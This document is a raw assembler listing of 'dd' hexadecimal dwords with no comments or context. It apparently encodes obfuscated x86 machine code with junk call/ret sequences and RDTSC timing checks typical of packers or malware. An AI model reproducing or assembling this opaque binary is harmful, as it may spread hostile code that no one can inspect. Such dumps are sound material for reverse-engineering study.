		dd 0C70DF381h, 95FF0522h, 6062C1Dh, 0FB03BB50h,	34896BBFh
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 6B26C1FAh, 0B5FF55E9h, 609A4A4h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 43C35747h, 5AF32EEDh
		dd 579D3BF0h, 918589B6h, 0FF06060Eh, 61CA595h, 5E906h
		dd 0D8970000h, 83BFD3A4h, 61C99BDh, 840F0006h, 24h, 2C199D03h
		dd 0F500606h, 0E80h, 8B525000h,	0F310FDEh, 87h,	89585A00h
		dd 0BD292434h, 60604B1h, 0A4A4B5FFh, 6A0609h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DA8B4CC3h
		dd 0F6F38166h, 0FD95FF92h, 0BB06061Fh, 50C4D115h, 2C31BD8Bh
		dd 0B5FF0606h, 609A4A4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 77C35747h, 0FFAEB77Dh, 62B1995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 85A9B54h, 13E86621h,	0D9000000h, 5685C3F4h, 0BF1714C4h
		dd 9F015FF9h, 4C4C6BEh,	14E96109h, 31000000h, 75A799FAh
		dd 5C59182Ch, 0DA8AB78Eh, 0C4B06E30h, 5B2B1DBEh, 2F65BD83h
		dd 0F020606h, 3684h, 7E800h, 1BAA0000h,	0CE02F412h, 6820FD5h
		dd 0F000000h, 8Fh, 858B5F00h, 60615F1h,	0F0000C6h, 0E85h
		dd 9E900h, 0F7F60000h, 0D7381EEBh, 0C70DEEB9h, 6034D85h
		dd 6, 7B39BF00h, 0F9E90CF4h, 89FFFFF2h,	60DDD8Dh, 89C18B06h
		dd 630D59Dh, 69858D06h,	89060623h, 62021BDh, 50609006h
		dd 0F525052h, 0F585A31h, 61585A31h, 0BD8B9050h,	60604B9h
		dd 30CD9D03h, 6A0606h, 3359B589h, 0BF660606h, 6AD9ADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 93C35646h
		dd 4F5CA8F1h, 0BD899E60h, 606033Dh, 0E22C858Dh,	6A060Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0E8A44FC3h, 0BE397F1h, 0AE9h, 8EEE2800h, 0E1EC9D1h
		dd 0FB23853h, 0BF66DABFh, 0C0838511h, 359D8B05h, 5006060Eh
		dd 0F002EBFh, 2404897Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 56C35646h, 0AA8A27AFh, 11EF2123h, 6E8h
		dd 0EB785100h, 8BB32FD9h, 61DF9BDh, 6A5B06h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 53C35747h, 203572B9h
		dd 2B0A465Dh, 62E3DBDh,	0AEC38106h, 6A26934Dh, 9E96000h
		dd 86000000h, 0EC0A6EEAh, 6157FEF9h, 95FF61F8h,	6062F9Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0BBC35343h
		dd 0A214911Ah, 0B8E48B0h, 1C61BD8Bh, 0B1600606h, 6830F71h
		dd 89000000h, 628D585h,	9D8B6106h, 60600A9h, 95158D8Dh
		dd 9D310609h, 6063429h,	0DE8BD1FFh, 7D8FBF60h, 8F0F606Ah
		dd 5, 45D68166h, 0BD8361D5h, 6061D3Dh, 0A6850F01h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 91E3C357h, 14E9h,	65404100h, 1B341339h, 75E06334h
		dd 0DA76AFFFh, 0AC3406D4h, 81026A98h, 832660C7h, 219D8957h
		dd 50060626h, 7E95250h,	77000000h, 23F8A7A6h, 310F326Fh
		dd 2810Fh, 0FC8A0000h, 489585Ah, 10E924h, 9CA90000h, 83A94881h
		dd 0BB466CD3h, 0E83462C8h, 95FF10A1h, 6062C1Dh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F5C35343h, 7E9AFh
		dd 0C9C70000h, 1BDF55E4h, 0DCBE931h, 0E80000h, 5D000000h
		dd 0E236ED81h, 0BD09060Ah, 6062BC9h, 32199D33h,	6A0606h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 51DC00C3h, 0FA8B4D5Dh, 8EE5858Dh, 6A0609h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8166E2C3h
		dd 0FC5F4EFh, 68Ch, 81BD8B00h, 8B060611h, 62165BDh, 0BA609006h
		dd 59AF6375h, 0B802BB66h, 52505061h, 0F525050h,	5B585A31h
		dd 5750310Fh, 585A5F5Fh, 0A99D8B90h, 6406062Bh,	35FFh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0A1F30BC3h, 1DEE8929h, 0F247F1Bh,	168Dh
		dd 9D296000h, 60624E1h,	8E8h, 89590F00h, 1AA508BEh, 8B615E5Bh
		dd 604719Dh, 25896406h,	0
		dd 157DBD0Bh, 85FF0606h, 6060F5Dh, 25D9D01h, 0FF6A0606h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BAC35646h
		dd 21DBA970h, 0C040F637h, 217DB5FFh, 6A0606h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 83B848C3h
		dd 0BD03AC50h, 60621B9h, 23BDBD2Bh, 9D8B0606h, 6061119h
		dd 12FD95FFh, 0BE90606h, 89000001h, 629B995h, 8B00B006h
		dd 62B59BDh, 8A70E606h,	0CE8F8h, 3C840000h, 0EFB1AB37h
		dd 71D3B6E1h, 0F98B513Eh, 0E871E45Fh, 6, 0F239826Bh, 3C5B0A64h
		dd 0CF830F61h, 0B3000000h, 0C8B60F73h, 48C0Fh, 0BB660000h
		dd 6BA0D67h, 8B000000h,	604B1BDh, 9D8B6006h, 6060ECDh
		dd 14E9h, 3AC5D400h, 84DBC60Fh,	5E6BBD60h, 38C84157h, 0BAB8151h
		dd 0C18B619Bh, 33C9BD8Bh, 0E8C10606h, 0A5958904h, 6606062Ah
		dd 0D98AE2F7h, 0F5BBC82Bh, 8B1CEB4Dh, 621459Dh,	80D18B06h
		dd 67E901E3h, 8B000000h, 630F5BDh, 44858B06h, 805F4C4Ch
		dd 0C0838CEFh, 0CFF38007h, 8900C083h, 611B19Dh,	0FD03B06h
		dd 1183h, 0A9B53100h, 0E906061Eh, 36h, 1D2D8D89h, 8D8B0606h
		dd 0FFFFFFFFh, 83CDE780h, 840F01E1h, 1Eh, 20B5BD0Bh, 0A5830606h
		dd 0FFFFFFFFh, 0ADBD23FEh, 89060633h, 4C4C4495h, 0E95Fh
		dd 0B58D0000h, 60A5FFFh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0B5C35646h, 4195090Dh, 6A060623h, 0C4D78100h
		dd 0FF590396h, 61AC995h, 118A0F06h, 0E9000000h,	0Ch, 45F3EF73h
		dd 0DAD4BEBDh, 0FB360DAh, 1133B9h, 9852900h, 83060622h
		dd 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 8F75F0C3h, 0C780FBF8h, 6E8FC13h, 0C3000000h
		dd 0C3B043B0h, 62DF81E1h, 5F32D6EAh, 0B8h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 699D3391h, 0BA06061Eh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E7C35242h
		dd 0DF8B08E7h, 33ADDF8Bh, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0DFCE2C3h, 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 60C35545h, 0E62DA5ADh, 0FF430D84h, 21898D89h
		dd 958B0606h, 60628DDh,	0AE9h, 543C3300h, 0AC41D346h, 1B8E717h
		dd 60EE98Dh, 118D8B06h,	6A060611h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 6138C350h
		dd 5025B7DFh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 499D8B58h, 0E906062Dh, 9, 37FDE565h,	50CD1962h, 0F5BD8336h
		dd 6061Ah, 25840Fh, 0B70F0000h,	0B8F9h,	95310000h, 6062A71h
		dd 4ED28D8Dh, 0C7810606h, 565263DAh, 0BD8BE1FFh, 6061D89h
		dd 83FBB70Fh, 62E49BDh,	840F0006h, 4FDh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 32C35040h, 238C41B3h
		dd 40DC4163h, 2E49BD83h, 0F010606h, 4E784h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 83FE8B8Ah, 62E49BDh,	860F0306h, 486h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 41C35242h, 34F26920h
		dd 0F750F478h, 0CE915h,	3B0A0000h, 0ED7CC94Fh, 0FAEF44E1h
		dd 9D33D6B7h, 6062D99h,	33399D8Bh, 6A600606h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0ADEBC353h, 59BDAECEh, 53C7874Fh, 7E9h, 14BEFD00h, 0DAC65C11h
		dd 0D381665Bh, 8C66E3ECh, 50006AD9h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 58D70167h
		dd 3B7BFE35h, 9D29537Eh, 60629B9h, 6A04E180h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0C753C353h, 4DA32890h, 8261E591h, 0EE58F381h, 0C90A03D0h
		dd 1A9840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 339655C3h, 930DD417h, 8B0B1DDEh
		dd 61A59BDh, 89858B06h,	6A060625h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 41F1C352h
		dd 8B280C22h, 33D98BFEh, 6342585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 55890EB4h
		dd 13E960h, 1EF50000h, 459A2E82h, 0F344357Eh, 24A24008h
		dd 0DA7DB862h, 0E18D8909h, 61060603h, 50D88B90h, 0CE960h
		dd 4EF00000h, 0F00750E4h, 750E44Eh, 9EB14EF0h, 0BD8B9061h
		dd 606316Dh, 1E59D8Bh, 6A0606h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 43C35040h, 8D8937C6h, 606250Dh
		dd 12E957h, 0AA1E0000h,	7C928AFFh, 3BEF6BECh, 0B59AFEF2h
		dd 95FCD08Ah, 17BE685Bh, 50602023h, 0F08B6652h,	5E9310Fh
		dd 0E7000000h, 7C4E186Bh, 12E9585Ah, 37000000h,	7F319AB2h
		dd 4C77E87Ah, 0D0681616h, 615E6D8Ah, 348161C5h,	3C144124h
		dd 52006A20h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 9ABE0BE0h, 23972F5h, 222195FFh, 6A0606h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 144BCFC3h, 89F98BECh, 9A4A485h, 1A6E906h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B9E7AC3h, 9A49C85h,	21BD8906h, 0C7060620h, 1800h, 21BD8B00h
		dd 8B060614h, 9A4A0B5h,	1723BB06h, 858B5AFEh, 6062DA9h
		dd 3F7BB66h, 6A0689h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 15A7BC3h, 60E91B5h, 55B50906h, 8B06062Dh
		dd 631D1BDh, 89858B06h,	8B060625h, 89DE8BF8h, 8C0F0446h
		dd 5, 0DF2DE3BFh, 51509656h, 6A965Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 314FB3C3h
		dd 5E97E9Ah, 2B000000h,	0D495FBFAh, 0A49CB5FFh,	6E90609h
		dd 82000000h, 0EF7F0C67h, 4E84Fh, 3FF0000h, 8A51001Fh
		dd 60505BF9h, 0F88B6660h, 6061F98Bh, 8B666160h,	8B6161D7h
		dd 8B042444h, 0D88B6600h, 4244489h, 0D076BB66h,	858DFC58h
		dd 609A4A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	63C35242h, 8B5C5B15h, 60EB19Dh,	8B90F806h, 606050FEh
		dd 860Fh, 0BF660000h, 616115A3h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 95557A8Ah
		dd 12E9h, 0E20A1C00h, 5BD465BDh, 21681DFDh, 7BD6F5C6h
		dd 0FF758C93h, 6222195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 58A0F38h, 66000000h, 62F0F381h
		dd 15BD8B61h, 0C7060620h, 62E4985h, 306h, 2BD78100h, 8377F81Bh
		dd 9A4A4BDh, 840F0006h,	52h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C7C35242h,	0F253C812h, 0FC5053E6h
		dd 44E9h, 0CE900h, 0AA3B0000h, 0A00CBAEAh, 0D61AEE9Ch
		dd 5060B532h, 3DD8D03h,	0E85B0606h, 6, 8144D31Bh, 5A57A920h
		dd 3050615Fh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 96B73A9Dh, 0E9E8B26Dh, 6,	0BBC16901h
		dd 6AEACDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0A552FAC3h, 0C1A5Ch, 0B70F759Eh, 49BD83D8h
		dd 306062Eh, 382850Fh, 0BD830000h, 609A4A4h, 75840F00h
		dd 8B000003h, 0A4B5FFF9h, 600609A4h, 1E518D29h,	14E90606h
		dd 69000000h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 9F91279Ch
		dd 614C48CEh, 0D7195FFh, 70BF0606h, 8B556CF2h, 9A498B5h
		dd 95EB8106h, 0C72FF19Fh, 1000106h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BB503DA6h
		dd 1162215Fh, 33243489h, 61A519Dh, 0A4B5FF06h, 8B0609A4h
		dd 62B999Dh, 4995FF06h,	2B06061Eh, 61D21BDh, 98B58B06h
		dd 6A0609A4h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 94F0C350h, 2EF86C4Dh, 46780610h
		dd 0DA9EC781h, 858B7676h, 6062FC5h, 24199D8Bh, 86890606h
		dd 0C4h, 0F9FCF381h, 958B10F8h,	60628DDh, 0FE5B589h, 0C2830606h
		dd 20508904h, 1ECD9D8Bh, 858D0606h, 609B775h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2C35141h, 0A8B0Fh
		dd 0B9600000h, 33A2540h, 61D9D180h, 0B88689h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0CA476BC3h, 4B164BE1h, 6060FACDh, 1658D8Bh, 0D2810606h
		dd 7A92DA76h, 7938B961h, 6A613ADFh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 82F25739h
		dd 9D8974BAh, 6062439h,	0FFFFBF0Fh, 9A4A4B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 30D729D7h, 0FF0972A5h, 62C1D95h, 8B509606h, 6A96FAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 667B9CC3h, 0B5FFDE8Bh, 609A4A4h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 62C35141h, 98856514h, 0E5C70E4Ah
		dd 0A17CCF81h, 95FF7AA9h, 6061CA5h, 1C99BD83h, 0F000606h
		dd 6484h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 4DAB9388h, 7CDBDEA9h, 9D017C07h
		dd 6060875h, 8E850h, 0D7680000h, 21974F69h, 0DE8BB9DBh
		dd 2434895Fh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	52C35343h, 0B0ADCDA4h, 0C240E88Dh, 0A4B5FF57h
		dd 0F50609A4h, 1FFD95FFh, 6A0606h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0E0E78FC3h, 1F342789h
		dd 11E8887Ah, 44000000h, 7D4C118h, 3F784544h, 3057F702h
		dd 26D94025h, 2DD5BD8Bh, 0FF5B0606h, 9A4A4B5h, 71B53106h
		dd 0E9060600h, 0Fh, 4986C5B8h, 76041B64h, 9B68D751h, 0FF14C60Eh
		dd 62B1995h, 860F06h, 83000000h, 62F65BDh, 840F0206h, 62h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CC35747h
		dd 8F0F720Ah, 5, 7E38166h, 0F1858B76h, 6A060615h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0E7CBC353h, 44535A6Ch, 0F5F11601h, 0BF0000C6h, 6AF17ACCh
		dd 1795BD31h, 85C70606h, 606034Dh, 0
		dd 0FFF391E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 41AF2057h, 53A938F0h
		dd 0C18B98DDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	74C35242h, 0F341793h, 9F70A090h, 6E8h, 0D1CD0000h
		dd 66DFD28Eh, 0BC6CF81h, 69858D5Bh, 31060623h, 61F39BDh
		dd 0D0BF9006h, 5060EA72h, 7E9h,	0CBBECA00h, 0E5E6AC7Ah
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 68B0F21h, 1000000h, 628A985h, 6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0A09AC355h, 0FE8081Ah, 5D000000h,	3CB2D88h
		dd 987063C4h, 0C84E4C4Fh, 0DB81AE1Fh, 4D5399DDh, 66006A5Bh
		dd 9CC0D781h, 0F24F858Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 9A4CBBC3h, 10E8h, 1AA09A00h
		dd 4DCF6108h, 0DC088F05h, 0CD098859h, 0D59D8B40h, 5B060621h
		dd 20199D03h, 0C0830606h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 3850FAFh, 66000000h
		dd 0E990D98Bh, 7, 28EF0207h, 50BB55E8h,	6CBABF66h, 52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 6AD1A7h, 0DE9h, 4DBC8100h, 833176A4h, 0BA23151Bh, 0C780EAABh
		dd 6A006ABEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 178FC353h, 8991F050h, 61F21BDh
		dd 9D95FF06h, 5306062Fh, 0DECF8166h, 0DE8A5B5Bh, 95158D8Dh
		dd 5F570609h, 0BE8h, 0F31FC300h, 6F06D1F5h, 9798287Fh
		dd 0D1FF5FF5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	47C35040h, 1D3DBD83h, 0F010606h, 9785h,	8B666000h
		dd 61E88AC2h, 28659D8Bh, 26A0606h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 89C35242h, 86397E61h, 0A1BB6690h
		dd 52505001h, 0BE8h, 62D48600h,	99F303C8h, 0B14F334Eh
		dd 0E9310F5Bh, 12h, 0F99C8168h,	263002CEh, 0FED542D4h
		dd 4001061Bh, 585A1025h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 81669796h, 0FFBA28E3h
		dd 62C1D95h, 899DBB06h,	0BD894DA7h, 60626ADh, 0D1BE9h
		dd 0E800h, 815D0000h, 0AF259EDh, 0A5958906h, 89060625h
		dd 627ADB5h, 0E5858D06h, 6A06098Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 61D5C352h
		dd 2830Fh, 0DF8B0000h, 0A7D78166h, 9D8953DEh, 6061EF1h
		dd 0B160905Bh, 613FB0C6h, 6A9050h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0A0CF9EC3h, 1BE1BD0Bh
		dd 0FF640606h, 35h, 8B526000h, 61DE595h, 9D8B5B06h, 6063159h
		dd 25896461h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F5C35343h
		dd 14EFFE41h, 2E6E86D0h, 0A3E781EEh, 800413F5h,	85FFB4D7h
		dd 6060F5Dh, 31C19D8Bh,	0FF6A0606h, 7E9h, 0C73A4D00h, 768E0D11h
		dd 2705B5FFh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F91447C3h, 12FD95FFh, 0FAE90606h
		dd 29000000h, 6277D95h,	0B0DA8B06h, 0E470E600h,	0C7816671h
		dd 0B5297092h, 6061681h, 830F613Ch, 0D9h, 0FF9BF0Fh, 8F0FC8B6h
		dd 1, 6BAF5h, 0E7BB0000h, 8B698543h, 0EEEBFC1h,	0E8C1093Ch
		dd 0FFBF0F04h, 0E8E2F766h, 10h,	15950265h, 0E7BECEBDh
		dd 0DE5C09E9h, 6B431990h, 152DBD8Bh, 2B5B0606h,	9D8BF5C8h
		dd 60610CDh, 0AE9D18Bh,	90000000h, 0C7BB1366h, 0B0E3CEC8h
		dd 77E9A3h, 0AB30000h, 4C50858Bh, 0BE94755h, 2E000000h
		dd 7851D166h, 0B32FD9EBh, 0C0833E2Ch, 0C08307h,	719B509h
		dd 0D03B0606h, 10830Fh,	8B660000h, 43E9D8h, 81600000h
		dd 645F10F0h, 8D8B6104h, 0FFFFFFFFh, 0E183F88Bh, 2A840F01h
		dd 0F000000h, 870FFBBFh, 0Ch, 68F0Fh, 890F0000h, 0
		dd 0FFFFA583h, 8BFEFFFFh, 509589DFh, 0F947554Ch, 0E9h
		dd 32B58D00h, 66060A71h, 4A27DF81h, 97489EBFh, 89006A2Ch
		dd 62B31BDh, 0C995FF06h, 0E906061Ah, 14h, 1325D5F3h, 55F67260h
		dd 1B98DCB9h, 41AD0428h, 0BAF195C6h, 1038B9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 283044D4h, 832559C3h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 93221EC3h, 966BB505h
		dd 0FC80F0F9h, 164DBD8Bh, 0C02B0606h, 2C4DBD8Bh, 0D22B0606h
		dd 0D6D6BF66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 9BC35141h, 0F529B16h
		dd 2B5BFBBFh, 6022DBDh,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 30BC6E84h, 6880Fh, 0EF810000h
		dd 43395DAh, 880D86B7h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 7F90C355h
		dd 81F8F143h, 49BA63DBh, 4DBD8B7Fh, 8B06060Dh, 628DD95h
		dd 0F9B70F06h, 0EED9D0Bh, 8D8B0606h, 6061111h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0BC35545h, 8B50D68Ah
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0AAC35040h, 3708501Fh
		dd 1C94F107h, 6AD88B66h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 7947C355h, 0D88B6666h
		dd 1AF5BD83h, 0F000606h, 6684h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0CF89D862h
		dd 58C0FE5h, 66000000h,	301ADB81h, 0B8h, 8D8DFC00h, 6064ED2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 82C35242h
		dd 0F03D010Dh, 6BD4B504h, 0FFFB8BD7h, 21BD8BE1h, 8306061Dh
		dd 62E49BDh, 840F0006h,	489h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0AAC35343h,	8B0F5453h, 6, 0F9DBD8Bh
		dd 0BD830606h, 6062E49h, 6D840F01h, 50000004h, 0BE8h, 0D84ACA00h
		dd 9ABD49E1h, 6CC2FFB2h, 0FE8h,	0DBCD1200h, 0AD757E85h
		dd 58FF08A8h, 0DD31684Dh, 835B5F5Bh, 62E49BDh, 860F0306h
		dd 402h, 506CBB66h, 5840F60h, 0BF000000h, 6E0EC3BDh, 0FD98C66h
		dd 0E180D9B7h, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0AE5C691h, 6F840FC9h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 71D5C356h, 29609E08h, 60B8DB5h
		dd 0BD9D3106h, 61060601h, 2589858Bh, 6A0606h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D8A70C3h
		dd 6850FF9h, 8B000000h,	634119Dh, 13E806h, 42770000h, 0AA3D23E6h
		dd 0DCF3D89Ch, 9333D2DAh, 6E016CA4h, 959D8BB7h,	5B06062Bh
		dd 34258533h, 0BD030606h, 6060449h, 0CE950h, 13720000h
		dd 0E7A1D07h, 0E98B0AB7h, 489A7B5h, 0DE824h, 0B88C0000h
		dd 7EE41C77h, 686D84C6h, 0F2AD151h, 1687h, 11E900h, 563E0000h
		dd 3B703CEFh, 4751861Dh, 0A6A4FDC0h, 5B164D46h,	0BF66006Ah
		dd 3C68285Ah, 8B0F7E5Dh, 243481D9h, 0F615EC3h, 10E9h, 7028C700h
		dd 3E0C9897h, 0C0CA44C6h, 14FE6426h, 2195FFD1h,	6A060622h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 8BD7C352h, 0C19589E4h, 89060624h,	9A4A485h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 7893E758h, 3AE9084Dh, 6A000002h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0DBBEC352h, 0ACC2BB9Ch, 858B0F24h, 609A49Ch,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E2C35646h, 8D3DAC67h
		dd 2A08E781h, 0C7F831A3h, 1800h, 0D8BF0F00h, 0A4A0B58Bh
		dd 6A0609h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0E937F8C3h, 0Fh, 0CCF0F590h, 3025A0CBh, 18F061C3h
		dd 8934E69Dh, 60245BDh,	0A9858B06h, 6A06062Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 7C15C352h, 1A732439h, 89D6AE59h, 12E806h, 9CCD0000h
		dd 0A0394045h, 0C6DA043h, 0BCD9C67Dh, 33B7FD65h, 19850Fh
		dd 13E80000h, 9F000000h, 81F10A85h, 93CF64Bh, 0E49E6129h
		dd 5E7C44A0h, 5B5B89E2h, 0E7DBD29h, 858B0606h, 6062589h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6AC35747h
		dd 97A40C7Eh, 29E0AC5Ch, 6218995h, 4468906h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 19C35040h, 83679FC0h
		dd 0E890E631h, 7, 1EE0664Fh, 0BFFA6C87h, 1611F60Eh, 0C781665Fh
		dd 50504636h, 0BB310F52h, 3326B7C5h, 3489585Ah,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E963F092h, 8, 0B140837h, 340A06B2h,	0A49CB5FFh, 6A0609h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 8C8511C3h, 0EA0CEA7h, 685612FDh, 0C9AFDBB5h,	5E8h, 0E993300h
